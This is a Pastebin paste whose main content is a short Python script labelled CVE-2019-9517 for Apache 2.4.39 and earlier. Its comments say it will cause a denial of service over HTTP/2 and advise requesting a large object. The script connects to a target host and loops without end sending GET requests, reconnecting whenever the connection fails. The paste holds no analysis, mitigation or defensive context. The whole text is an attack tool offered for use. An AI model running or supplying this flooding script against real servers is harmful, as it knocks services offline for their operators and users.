Advertisement
Guest User

CVE-2019-9517

a guest
Dec 8th, 2019
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.71 KB | None | 0 0
  1. #!/usr/bin/python3
  2. #Will cause a dos.
  3. #Webname should be the url of the website and the port 443 oly working for http2.0.
  4. #You should request a large object
  5. from hyper import HTTPConnection
  6. webname = 'localhost:443'
  7. requestObj = '/'
  8. def makereq():
  9. i = 1
  10. print("Start")
  11. while 1:
  12. try:
  13. conn.request('GET', requestObj)
  14. print(">"+ str(i) + ":Requests send<")
  15. except:
  16. conn = HTTPConnection(webname)
  17. print("Reconnect")
  18. i += 1
  19.  
  20. if __name__ == "__main__":
  21. print("CVE-2019-9517 for <= Apache/2.4.39")
  22. try:
  23. conn = HTTPConnection(webname)
  24. conn.request('GET', requestObj)
  25. re = conn.get_response()
  26. print(re.read())
  27. makereq()
  28. except:
  29. print("Looks like something went wrong.Exit")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement